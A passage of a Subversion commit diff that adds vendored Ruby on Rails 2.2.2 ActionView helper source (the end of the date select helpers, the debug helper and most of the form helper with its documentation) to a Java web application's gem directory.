+            select_options << content_tag(:option, value, tag_options)
+          end
+          select_options.join("\n") + "\n"
+        end
+
+        # Builds select tag from date type and html select options
+        #  build_select(:month, "<option value="1">January</option>...")
+        #  => "<select id="post_written_on_2i" name="post[written_on(2i)]">
+        #        <option value="1">January</option>...
+        #      </select>"
+        def build_select(type, select_options_as_html)
+          select_options = {
+            :id => input_id_from_type(type),
+            :name => input_name_from_type(type)
+          }.merge(@html_options)
+          select_options.merge!(:disabled => 'disabled') if @options[:disabled]
+
+          select_html = "\n"
+          select_html << content_tag(:option, '', :value => '') + "\n" if @options[:include_blank]
+          select_html << select_options_as_html.to_s
+
+          content_tag(:select, select_html, select_options) + "\n"
+        end
+
+        # Builds hidden input tag for date part and value
+        #  build_hidden(:year, 2008)
+        #  => "<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="2008" />"
+        def build_hidden(type, value)
+          tag(:input, {
+            :type => "hidden",
+            :id => input_id_from_type(type),
+            :name => input_name_from_type(type),
+            :value => value
+          }) + "\n"
+        end
+
+        # Returns the name attribute for the input tag
+        #  => post[written_on(1i)]
+        def input_name_from_type(type)
+          prefix = @options[:prefix] || ActionView::Helpers::DateTimeSelector::DEFAULT_PREFIX
+          prefix += "[#{@options[:index]}]" if @options[:index]
+
+          field_name = @options[:field_name] || type
+          if @options[:include_position]
+            field_name += "(#{ActionView::Helpers::DateTimeSelector::POSITION[type]}i)"
+          end
+
+          @options[:discard_type] ? prefix : "#{prefix}[#{field_name}]"
+        end
+
+        # Returns the id attribute for the input tag
+        #  => "post_written_on_1i"
+        def input_id_from_type(type)
+          input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, '_').gsub(/[\]\)]/, '')
+        end
+
+        # Given an ordering of datetime components, create the selection html
+        # and join them with their appropriate seperators
+        def build_selects_from_types(order)
+          select = ''
+          order.reverse.each do |type|
+            separator = separator(type) unless type == order.first # don't add on last field
+            select.insert(0, separator.to_s + send("select_#{type}").to_s)
+          end
+          select
+        end
+
+        # Returns the separator for a given datetime component
+        def separator(type)
+          case type
+            when :month, :day
+              @options[:date_separator]
+            when :hour
+              (@options[:discard_year] && @options[:discard_day]) ? "" : @options[:datetime_separator]
+            when :minute
+              @options[:time_separator]
+            when :second
+              @options[:include_seconds] ? @options[:time_separator] : ""
+          end
+        end
+    end
+
+    class InstanceTag #:nodoc:
+      def to_date_select_tag(options = {}, html_options = {})
+        datetime_selector(options, html_options).select_date
+      end
+
+      def to_time_select_tag(options = {}, html_options = {})
+        datetime_selector(options, html_options).select_time
+      end
+
+      def to_datetime_select_tag(options = {}, html_options = {})
+        datetime_selector(options, html_options).select_datetime
+      end
+
+      private
+        def datetime_selector(options, html_options)
+          datetime = value(object) || default_datetime(options)
+
+          options = options.dup
+          options[:field_name]           = @method_name
+          options[:include_position]     = true
+          options[:prefix]             ||= @object_name
+          options[:index]              ||= @auto_index
+          options[:datetime_separator] ||= ' &mdash; '
+          options[:time_separator]     ||= ' : '
+
+          DateTimeSelector.new(datetime, options.merge(:tag => true), html_options)
+        end
+
+        def default_datetime(options)
+          return if options[:include_blank]
+
+          case options[:default]
+            when nil
+              Time.current
+            when Date, Time
+              options[:default]
+            else
+              default = options[:default].dup
+
+              # Rename :minute and :second to :min and :sec
+              default[:min] ||= default[:minute]
+              default[:sec] ||= default[:second]
+
+              time = Time.current
+
+              [:year, :month, :day, :hour, :min, :sec].each do |key|
+                default[key] ||= time.send(key)
+              end
+
+              Time.utc_time(
+                default[:year], default[:month], default[:day],
+                default[:hour], default[:min], default[:sec]
+              )
+          end
+        end
+    end
+
+    class FormBuilder
+      def date_select(method, options = {}, html_options = {})
+        @template.date_select(@object_name, method, options.merge(:object => @object), html_options)
+      end
+
+      def time_select(method, options = {}, html_options = {})
+        @template.time_select(@object_name, method, options.merge(:object => @object), html_options)
+      end
+
+      def datetime_select(method, options = {}, html_options = {})
+        @template.datetime_select(@object_name, method, options.merge(:object => @object), html_options)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/debug_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/debug_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/debug_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,38 @@
+module ActionView
+  module Helpers
+    # Provides a set of methods for making it easier to debug Rails objects.
+    module DebugHelper
+      # Returns a YAML representation of +object+ wrapped with <pre> and </pre>.
+      # If the object cannot be converted to YAML using +to_yaml+, +inspect+ will be called instead.
+      # Useful for inspecting an object at the time of rendering.
+      #
+      # ==== Example
+      #
+      #   @user = User.new({ :username => 'testing', :password => 'xyz', :age => 42}) %>
+      #   debug(@user)
+      #   # =>
+      #   <pre class='debug_dump'>--- !ruby/object:User
+      #   attributes:
+      #   &nbsp; updated_at:
+      #   &nbsp; username: testing
+      #
+      #   &nbsp; age: 42
+      #   &nbsp; password: xyz
+      #   &nbsp; created_at:
+      #   attributes_cache: {}
+      #
+      #   new_record: true
+      #   </pre>
+
+      def debug(object)
+        begin
+          Marshal::dump(object)
+          "<pre class='debug_dump'>#{h(object.to_yaml).gsub("  ", "&nbsp; ")}</pre>"
+        rescue Exception => e  # errors from Marshal or YAML
+          # Object couldn't be dumped, perhaps because of singleton methods -- this is the fallback
+          "<code class='debug_dump'>#{h(object.inspect)}</code>"
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/form_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/form_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/form_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,808 @@
+require 'cgi'
+require 'action_view/helpers/date_helper'
+require 'action_view/helpers/tag_helper'
+require 'action_view/helpers/form_tag_helper'
+
+module ActionView
+  module Helpers
+    # Form helpers are designed to make working with models much easier compared to using just standard HTML
+    # elements by providing a set of methods for creating forms based on your models. This helper generates the HTML
+    # for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form
+    # is submitted (i.e., when the user hits the submit button or <tt>form.submit</tt> is called via JavaScript), the form inputs will be bundled into the <tt>params</tt> object and passed back to the controller.
+    #
+    # There are two types of form helpers: those that specifically work with model attributes and those that don't.
+    # This helper deals with those that work with model attributes; to see an example of form helpers that don't work
+    # with model attributes, check the ActionView::Helpers::FormTagHelper documentation.
+    #
+    # The core method of this helper, form_for, gives you the ability to create a form for a model instance;
+    # for example, let's say that you have a model <tt>Person</tt> and want to create a new instance of it:
+    #
+    #     # Note: a @person variable will have been created in the controller.
+    #     # For example: @person = Person.new
+    #     <% form_for :person, @person, :url => { :action => "create" } do |f| %>
+    #       <%= f.text_field :first_name %>
+    #       <%= f.text_field :last_name %>
+    #       <%= submit_tag 'Create' %>
+    #     <% end %>
+    #
+    # The HTML generated for this would be:
+    #
+    #     <form action="/persons/create" method="post">
+    #       <input id="person_first_name" name="person[first_name]" size="30" type="text" />
+    #       <input id="person_last_name" name="person[last_name]" size="30" type="text" />
+    #       <input name="commit" type="submit" value="Create" />
+    #     </form>
+    #
+    # If you are using a partial for your form fields, you can use this shortcut:
+    #
+    #     <% form_for :person, @person, :url => { :action => "create" } do |f| %>
+    #       <%= render :partial => f %>
+    #       <%= submit_tag 'Create' %>
+    #     <% end %>
+    #
+    # This example will render the <tt>people/_form</tt> partial, setting a local variable called <tt>form</tt> which references the yielded FormBuilder.
+    #
+    # The <tt>params</tt> object created when this form is submitted would look like:
+    #
+    #     {"action"=>"create", "controller"=>"persons", "person"=>{"first_name"=>"William", "last_name"=>"Smith"}}
+    #
+    # The params hash has a nested <tt>person</tt> value, which can therefore be accessed with <tt>params[:person]</tt> in the controller.
+    # If were editing/updating an instance (e.g., <tt>Person.find(1)</tt> rather than <tt>Person.new</tt> in the controller), the objects
+    # attribute values are filled into the form (e.g., the <tt>person_first_name</tt> field would have that person's first name in it).
+    #
+    # If the object name contains square brackets the id for the object will be inserted. For example:
+    #
+    #   <%= text_field "person[]", "name" %>
+    #
+    # ...will generate the following ERb.
+    #
+    #   <input type="text" id="person_<%= @person.id %>_name" name="person[<%= @person.id %>][name]" value="<%= @person.name %>" />
+    #
+    # If the helper is being used to generate a repetitive sequence of similar form elements, for example in a partial
+    # used by <tt>render_collection_of_partials</tt>, the <tt>index</tt> option may come in handy. Example:
+    #
+    #   <%= text_field "person", "name", "index" => 1 %>
+    #
+    # ...becomes...
+    #
+    #   <input type="text" id="person_1_name" name="person[1][name]" value="<%= @person.name %>" />
+    #
+    # An <tt>index</tt> option may also be passed to <tt>form_for</tt> and <tt>fields_for</tt>.  This automatically applies
+    # the <tt>index</tt> to all the nested fields.
+    #
+    # There are also methods for helping to build form tags in link:classes/ActionView/Helpers/FormOptionsHelper.html,
+    # link:classes/ActionView/Helpers/DateHelper.html, and link:classes/ActionView/Helpers/ActiveRecordHelper.html
+    module FormHelper
+      # Creates a form and a scope around a specific model object that is used as
+      # a base for questioning about values for the fields.
+      #
+      # Rails provides succinct resource-oriented form generation with +form_for+
+      # like this:
+      #
+      #   <% form_for @offer do |f| %>
+      #     <%= f.label :version, 'Version' %>:
+      #     <%= f.text_field :version %><br />
+      #     <%= f.label :author, 'Author' %>:
+      #     <%= f.text_field :author %><br />
+      #   <% end %>
+      #
+      # There, +form_for+ is able to generate the rest of RESTful form parameters
+      # based on introspection on the record, but to understand what it does we
+      # need to dig first into the alternative generic usage it is based upon.
+      #
+      # === Generic form_for
+      #
+      # The generic way to call +form_for+ yields a form builder around a model:
+      #
+      #   <% form_for :person, :url => { :action => "update" } do |f| %>
+      #     <%= f.error_messages %>
+      #     First name: <%= f.text_field :first_name %><br />
+      #     Last name : <%= f.text_field :last_name %><br />
+      #     Biography : <%= f.text_area :biography %><br />
+      #     Admin?    : <%= f.check_box :admin %><br />
+      #   <% end %>
+      #
+      # There, the first argument is a symbol or string with the name of the
+      # object the form is about, and also the name of the instance variable the
+      # object is stored in.
+      #
+      # The form builder acts as a regular form helper that somehow carries the
+      # model. Thus, the idea is that
+      #
+      #   <%= f.text_field :first_name %>
+      #
+      # gets expanded to
+      #
+      #   <%= text_field :person, :first_name %>
+      #
+      # If the instance variable is not <tt>@person</tt> you can pass the actual
+      # record as the second argument:
+      #
+      #   <% form_for :person, person, :url => { :action => "update" } do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # In that case you can think
+      #
+      #   <%= f.text_field :first_name %>
+      #
+      # gets expanded to
+      #
+      #   <%= text_field :person, :first_name, :object => person %>
+      #
+      # You can even display error messages of the wrapped model this way:
+      #
+      #   <%= f.error_messages %>
+      #
+      # In any of its variants, the rightmost argument to +form_for+ is an
+      # optional hash of options:
+      #
+      # * <tt>:url</tt> - The URL the form is submitted to. It takes the same fields
+      #   you pass to +url_for+ or +link_to+. In particular you may pass here a
+      #   named route directly as well. Defaults to the current action.
+      # * <tt>:html</tt> - Optional HTML attributes for the form tag.
+      #
+      # Worth noting is that the +form_for+ tag is called in a ERb evaluation block,
+      # not an ERb output block. So that's <tt><% %></tt>, not <tt><%= %></tt>.
+      #
+      # Also note that +form_for+ doesn't create an exclusive scope. It's still
+      # possible to use both the stand-alone FormHelper methods and methods from
+      # FormTagHelper. For example:
+      #
+      #   <% form_for :person, @person, :url => { :action => "update" } do |f| %>
+      #     First name: <%= f.text_field :first_name %>
+      #     Last name : <%= f.text_field :last_name %>
+      #     Biography : <%= text_area :person, :biography %>
+      #     Admin?    : <%= check_box_tag "person[admin]", @person.company.admin? %>
+      #   <% end %>
+      #
+      # This also works for the methods in FormOptionHelper and DateHelper that are
+      # designed to work with an object as base, like FormOptionHelper#collection_select
+      # and DateHelper#datetime_select.
+      #
+      # === Resource-oriented style
+      #
+      # As we said above, in addition to manually configuring the +form_for+ call,
+      # you can rely on automated resource identification, which will use the conventions
+      # and named routes of that approach. This is the preferred way to use +form_for+
+      # nowadays.
+      #
+      # For example, if <tt>@post</tt> is an existing record you want to edit
+      #
+      #   <% form_for @post do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # is equivalent to something like:
+      #
+      #   <% form_for :post, @post, :url => post_path(@post), :html => { :method => :put, :class => "edit_post", :id => "edit_post_45" } do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # And for new records
+      #
+      #   <% form_for(Post.new) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # expands to
+      #
+      #   <% form_for :post, Post.new, :url => posts_path, :html => { :class => "new_post", :id => "new_post" } do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # You can also overwrite the individual conventions, like this:
+      #
+      #   <% form_for(@post, :url => super_post_path(@post)) do |f| %>
+      #     ...
+      #   <% end %>
+      #
+      # And for namespaced routes, like +admin_post_url+:
+      #
+      #   <% form_for([:admin, @post]) do |f| %>
+      #    ...
+      #   <% end %>
+      #
+      # === Customized form builders
+      #
+      # You can also build forms using a customized FormBuilder class. Subclass FormBuilder and override or define some more helpers,
+      # then use your custom builder. For example, let's say you made a helper to automatically add labels to form inputs.
+      #
+      #   <% form_for :person, @person, :url => { :action => "update" }, :builder => LabellingFormBuilder do |f| %>
+      #     <%= f.text_field :first_name %>
+      #     <%= f.text_field :last_name %>
+      #     <%= text_area :person, :biography %>
+      #     <%= check_box_tag "person[admin]", @person.company.admin? %>
+      #   <% end %>
+      #
+      # In this case, if you use this:
+      #
+      #   <%= render :partial => f %>
+      #
+      # The rendered template is <tt>people/_labelling_form</tt> and the local variable referencing the form builder is called <tt>labelling_form</tt>.
+      #
+      # In many cases you will want to wrap the above in another helper, so you could do something like the following:
+      #
+      #   def labelled_form_for(record_or_name_or_array, *args, &proc)
+      #     options = args.extract_options!
+      #     form_for(record_or_name_or_array, *(args << options.merge(:builder => LabellingFormBuilder)), &proc)
+      #   end
+      #
+      # If you don't need to attach a form to a model instance, then check out FormTagHelper#form_tag.
+      def form_for(record_or_name_or_array, *args, &proc)
+        raise ArgumentError, "Missing block" unless block_given?
+
+        options = args.extract_options!
+
+        case record_or_name_or_array
+        when String, Symbol
+          object_name = record_or_name_or_array
+        when Array
+          object = record_or_name_or_array.last
+          object_name = ActionController::RecordIdentifier.singular_class_name(object)
+          apply_form_for_options!(record_or_name_or_array, options)
+          args.unshift object
+        else
+          object = record_or_name_or_array
+          object_name = ActionController::RecordIdentifier.singular_class_name(object)
+          apply_form_for_options!([object], options)
+          args.unshift object
+        end
+
+        concat(form_tag(options.delete(:url) || {}, options.delete(:html) || {}))
+        fields_for(object_name, *(args << options), &proc)
+        concat('</form>')
+      end
+
+      def apply_form_for_options!(object_or_array, options) #:nodoc:
+        object = object_or_array.is_a?(Array) ? object_or_array.last : object_or_array
+
+        html_options =
+          if object.respond_to?(:new_record?) && object.new_record?
+            { :class  => dom_class(object, :new),  :id => dom_id(object), :method => :post }
+          else
+            { :class  => dom_class(object, :edit), :id => dom_id(object, :edit), :method => :put }
+          end
+
+        options[:html] ||= {}
+        options[:html].reverse_merge!(html_options)
+        options[:url] ||= polymorphic_path(object_or_array)
+      end
+
+      # Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes
+      # fields_for suitable for specifying additional model objects in the same form:
+      #
+      # ==== Examples
+      #   <% form_for @person, :url => { :action => "update" } do |person_form| %>
+      #     First name: <%= person_form.text_field :first_name %>
+      #     Last name : <%= person_form.text_field :last_name %>
+      #
+      #     <% fields_for @person.permission do |permission_fields| %>
+      #       Admin?  : <%= permission_fields.check_box :admin %>
+      #     <% end %>
+      #   <% end %>
+      #
+      # ...or if you have an object that needs to be represented as a different parameter, like a Client that acts as a Person:
+      #
+      #   <% fields_for :person, @client do |permission_fields| %>
+      #     Admin?: <%= permission_fields.check_box :admin %>
+      #   <% end %>
+      #
+      # ...or if you don't have an object, just a name of the parameter
+      #
+      #   <% fields_for :person do |permission_fields| %>
+      #     Admin?: <%= permission_fields.check_box :admin %>
+      #   <% end %>
+      #
+      # Note: This also works for the methods in FormOptionHelper and DateHelper that are designed to work with an object as base,
+      # like FormOptionHelper#collection_select and DateHelper#datetime_select.
+      def fields_for(record_or_name_or_array, *args, &block)
+        raise ArgumentError, "Missing block" unless block_given?
+        options = args.extract_options!
+
+        case record_or_name_or_array
+        when String, Symbol
+          object_name = record_or_name_or_array
+          object = args.first
+        else
+          object = record_or_name_or_array
+          object_name = ActionController::RecordIdentifier.singular_class_name(object)
+        end
+
+        builder = options[:builder] || ActionView::Base.default_form_builder
+        yield builder.new(object_name, object, self, options, block)
+      end
+
+      # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). The text of label will default to the attribute name unless you specify
+      # it explicitly. Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
+      # onto the HTML as an HTML element attribute as in the example shown.
+      #
+      # ==== Examples
+      #   label(:post, :title)
+      #   # => <label for="post_title">Title</label>
+      #
+      #   label(:post, :title, "A short title")
+      #   # => <label for="post_title">A short title</label>
+      #
+      #   label(:post, :title, "A short title", :class => "title_label")
+      #   # => <label for="post_title" class="title_label">A short title</label>
+      #
+      def label(object_name, method, text = nil, options = {})
+        InstanceTag.new(object_name, method, self, options.delete(:object)).to_label_tag(text, options)
+      end
+
+      # Returns an input tag of the "text" type tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown.
+      #
+      # ==== Examples
+      #   text_field(:post, :title, :size => 20)
+      #   # => <input type="text" id="post_title" name="post[title]" size="20" value="#{@post.title}" />
+      #
+      #   text_field(:post, :title, :class => "create_input")
+      #   # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" class="create_input" />
+      #
+      #   text_field(:session, :user, :onchange => "if $('session[user]').value == 'admin' { alert('Your login can not be admin!'); }")
+      #   # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange = "if $('session[user]').value == 'admin' { alert('Your login can not be admin!'); }"/>
+      #
+      #   text_field(:snippet, :code, :size => 20, :class => 'code_input')
+      #   # => <input type="text" id="snippet_code" name="snippet[code]" size="20" value="#{@snippet.code}" class="code_input" />
+      #
+      def text_field(object_name, method, options = {})
+        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("text", options)
+      end
+
+      # Returns an input tag of the "password" type tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown.
+      #
+      # ==== Examples
+      #   password_field(:login, :pass, :size => 20)
+      #   # => <input type="text" id="login_pass" name="login[pass]" size="20" value="#{@login.pass}" />
+      #
+      #   password_field(:account, :secret, :class => "form_input")
+      #   # => <input type="text" id="account_secret" name="account[secret]" value="#{@account.secret}" class="form_input" />
+      #
+      #   password_field(:user, :password, :onchange => "if $('user[password]').length > 30 { alert('Your password needs to be shorter!'); }")
+      #   # => <input type="text" id="user_password" name="user[password]" value="#{@user.password}" onchange = "if $('user[password]').length > 30 { alert('Your password needs to be shorter!'); }"/>
+      #
+      #   password_field(:account, :pin, :size => 20, :class => 'form_input')
+      #   # => <input type="text" id="account_pin" name="account[pin]" size="20" value="#{@account.pin}" class="form_input" />
+      #
+      def password_field(object_name, method, options = {})
+        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("password", options)
+      end
+
+      # Returns a hidden input tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown.
+      #
+      # ==== Examples
+      #   hidden_field(:signup, :pass_confirm)
+      #   # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" />
+      #
+      #   hidden_field(:post, :tag_list)
+      #   # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="#{@post.tag_list}" />
+      #
+      #   hidden_field(:user, :token)
+      #   # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
+      def hidden_field(object_name, method, options = {})
+        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("hidden", options)
+      end
+
+      # Returns an file upload input tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
+      # shown.
+      #
+      # ==== Examples
+      #   file_field(:user, :avatar)
+      #   # => <input type="file" id="user_avatar" name="user[avatar]" />
+      #
+      #   file_field(:post, :attached, :accept => 'text/html')
+      #   # => <input type="file" id="post_attached" name="post[attached]" />
+      #
+      #   file_field(:attachment, :file, :class => 'file_input')
+      #   # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
+      #
+      def file_field(object_name, method, options = {})
+        InstanceTag.new(object_name, method, self, options.delete(:object)).to_input_field_tag("file", options)
+      end
+
+      # Returns a textarea opening and closing tag set tailored for accessing a specified attribute (identified by +method+)
+      # on an object assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
+      # hash with +options+.
+      #
+      # ==== Examples
+      #   text_area(:post, :body, :cols => 20, :rows => 40)
+      #   # => <textarea cols="20" rows="40" id="post_body" name="post[body]">
+      #   #      #{@post.body}
+      #   #    </textarea>
+      #
+      #   text_area(:comment, :text, :size => "20x30")
+      #   # => <textarea cols="20" rows="30" id="comment_text" name="comment[text]">
+      #   #      #{@comment.text}
+      #   #    </textarea>
+      #
+      #   text_area(:application, :notes, :cols => 40, :rows => 15, :class => 'app_input')
+      #   # => <textarea cols="40" rows="15" id="application_notes" name="application[notes]" class="app_input">
+      #   #      #{@application.notes}
+      #   #    </textarea>
+      #
+      #   text_area(:entry, :body, :size => "20x20", :disabled => 'disabled')
+      #   # => <textarea cols="20" rows="20" id="entry_body" name="entry[body]" disabled="disabled">
+      #   #      #{@entry.body}
+      #   #    </textarea>
+      def text_area(object_name, method, options = {})
+        InstanceTag.new(object_name, method, self, options.delete(:object)).to_text_area_tag(options)
+      end
+
+      # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
+      # It's intended that +method+ returns an integer and if that integer is above zero, then the checkbox is checked. 
+      # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1 
+      # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
+      #
+      # ==== Gotcha
+      #
+      # The HTML specification says unchecked check boxes are not successful, and
+      # thus web browsers do not send them. Unfortunately this introduces a gotcha:
+      # if an Invoice model has a +paid+ flag, and in the form that edits a paid
+      # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
+      # any mass-assignment idiom like
+      #
+      #   @invoice.update_attributes(params[:invoice])
+      #
+      # wouldn't update the flag.
+      #
+      # To prevent this the helper generates a hidden field with the same name as
+      # the checkbox after the very check box. So, the client either sends only the
+      # hidden field (representing the check box is unchecked), or both fields.
+      # Since the HTML specification says key/value pairs have to be sent in the
+      # same order they appear in the form and Rails parameters extraction always
+      # gets the first occurrence of any given key, that works in ordinary forms.
+      #
+      # Unfortunately that workaround does not work when the check box goes
+      # within an array-like parameter, as in
+      #
+      #   <% fields_for "project[invoice_attributes][]", invoice, :index => nil do |form| %>
+      #     <%= form.check_box :paid %>
+      #     ...
+      #   <% end %>
+      #
+      # because parameter name repetition is precisely what Rails seeks to distinguish
+      # the elements of the array.
+      #
+      # ==== Examples
+      #   # Let's say that @post.validated? is 1:
+      #   check_box("post", "validated")
+      #   # => <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
+      #   #    <input name="post[validated]" type="hidden" value="0" />
+      #
+      #   # Let's say that @puppy.gooddog is "no":
+      #   check_box("puppy", "gooddog", {}, "yes", "no")
+      #   # => <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
+      #   #    <input name="puppy[gooddog]" type="hidden" value="no" />
+      #
+      #   check_box("eula", "accepted", { :class => 'eula_check' }, "yes", "no")
+      #   # => <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
+      #   #    <input name="eula[accepted]" type="hidden" value="no" />
+      #
+      def check_box(object_name, method, options = {}, checked_value = "1", unchecked_value = "0")
+        InstanceTag.new(object_name, method, self, options.delete(:object)).to_check_box_tag(options, checked_value, unchecked_value)
+      end
+
+      # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
+      # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
+      # radio button will be checked. Additional options on the input tag can be passed as a
+      # hash with +options+.
+      #
+      # ==== Examples
+      #   # Let's say that @post.category returns "rails":
+      #   radio_button("post", "category", "rails")
+      #   radio_button("post", "category", "java")
+      #   # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
+      #   #    <input type="radio" id="post_category_java" name="post[category]" value="java" />
+      #
+      #   radio_button("user", "receive_newsletter", "yes")
+      #   radio_button("user", "receive_newsletter", "no")
+      #   # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
+      #   #    <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
+      def radio_button(object_name, method, tag_value, options = {})
+        InstanceTag.new(object_name, method, self, options.delete(:object)).to_radio_button_tag(tag_value, options)
+      end
+    end
+
+    class InstanceTag #:nodoc:
+      include Helpers::TagHelper, Helpers::FormTagHelper
+
+      attr_reader :method_name, :object_name
+
+      DEFAULT_FIELD_OPTIONS     = { "size" => 30 }.freeze unless const_defined?(:DEFAULT_FIELD_OPTIONS)
+      DEFAULT_RADIO_OPTIONS     = { }.freeze unless const_defined?(:DEFAULT_RADIO_OPTIONS)
+      DEFAULT_TEXT_AREA_OPTIONS = { "cols" => 40, "rows" => 20 }.freeze unless const_defined?(:DEFAULT_TEXT_AREA_OPTIONS)
+
+      def initialize(object_name, method_name, template_object, object = nil)
+        @object_name, @method_name = object_name.to_s.dup, method_name.to_s.dup
+        @template_object = template_object
+        @object = object
+        if @object_name.sub!(/\[\]$/,"") || @object_name.sub!(/\[\]\]$/,"]")
+          if (object ||= @template_object.instance_variable_get("@#{Regexp.last_match.pre_match}")) && object.respond_to?(:to_param)
+            @auto_index = object.to_param
+          else
+            raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
+          end
+        end
+      end
+
+      def to_label_tag(text = nil, options = {})
+        options = options.stringify_keys
+        name_and_id = options.dup
+        add_default_name_and_id(name_and_id)
+        options.delete("index")
+        options["for"] ||= name_and_id["id"]
+        content = (text.blank? ? nil : text.to_s) || method_name.humanize
+        label_tag(name_and_id["id"], content, options)
+      end
+
+      def to_input_field_tag(field_type, options = {})
+        options = options.stringify_keys
+        options["size"] = options["maxlength"] || DEFAULT_FIELD_OPTIONS["size"] unless options.key?("size")
+        options = DEFAULT_FIELD_OPTIONS.merge(options)
+        if field_type == "hidden"
+          options.delete("size")
+        end
+        options["type"] = field_type
+        options["value"] ||= value_before_type_cast(object) unless field_type == "file"
+        options["value"] &&= html_escape(options["value"])
+        add_default_name_and_id(options)
+        tag("input", options)
+      end
+
+      def to_radio_button_tag(tag_value, options = {})
+        options = DEFAULT_RADIO_OPTIONS.merge(options.stringify_keys)
+        options["type"]     = "radio"
+        options["value"]    = tag_value
+        if options.has_key?("checked")
+          cv = options.delete "checked"
+          checked = cv == true || cv == "checked"
+        else
+          checked = self.class.radio_button_checked?(value(object), tag_value)
+        end
+        options["checked"]  = "checked" if checked
+        pretty_tag_value    = tag_value.to_s.gsub(/\s/, "_").gsub(/\W/, "").downcase
+        options["id"]     ||= defined?(@auto_index) ?
+          "#{tag_id_with_index(@auto_index)}_#{pretty_tag_value}" :
+          "#{tag_id}_#{pretty_tag_value}"
+        add_default_name_and_id(options)
+        tag("input", options)
+      end
+
+      def to_text_area_tag(options = {})
+        options = DEFAULT_TEXT_AREA_OPTIONS.merge(options.stringify_keys)
+        add_default_name_and_id(options)
+
+        if size = options.delete("size")
+          options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
+        end
+
+        content_tag("textarea", html_escape(options.delete('value') || value_before_type_cast(object)), options)
+      end
+
+      def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
+        options = options.stringify_keys
+        options["type"]     = "checkbox"
+        options["value"]    = checked_value
+        if options.has_key?("checked")
+          cv = options.delete "checked"
+          checked = cv == true || cv == "checked"
+        else
+          checked = self.class.check_box_checked?(value(object), checked_value)
+        end
+        options["checked"] = "checked" if checked
+        add_default_name_and_id(options)
+        tag("input", options) << tag("input", "name" => options["name"], "type" => "hidden", "value" => options['disabled'] && checked ? checked_value : unchecked_value)
+      end
+
+      def to_boolean_select_tag(options = {})
+        options = options.stringify_keys
+        add_default_name_and_id(options)
+        value = value(object)
+        tag_text = "<select"
+        tag_text << tag_options(options)
+        tag_text << "><option value=\"false\""
+        tag_text << " selected" if value == false
+        tag_text << ">False</option><option value=\"true\""
+        tag_text << " selected" if value
+        tag_text << ">True</option></select>"
+      end
+
+      def to_content_tag(tag_name, options = {})
+        content_tag(tag_name, value(object), options)
+      end
+
+      def object
+        @object || @template_object.instance_variable_get("@#{@object_name}")
+      rescue NameError
+        # As @object_name may contain the nested syntax (item[subobject]) we
+        # need to fallback to nil.
+        nil
+      end
+
+      def value(object)
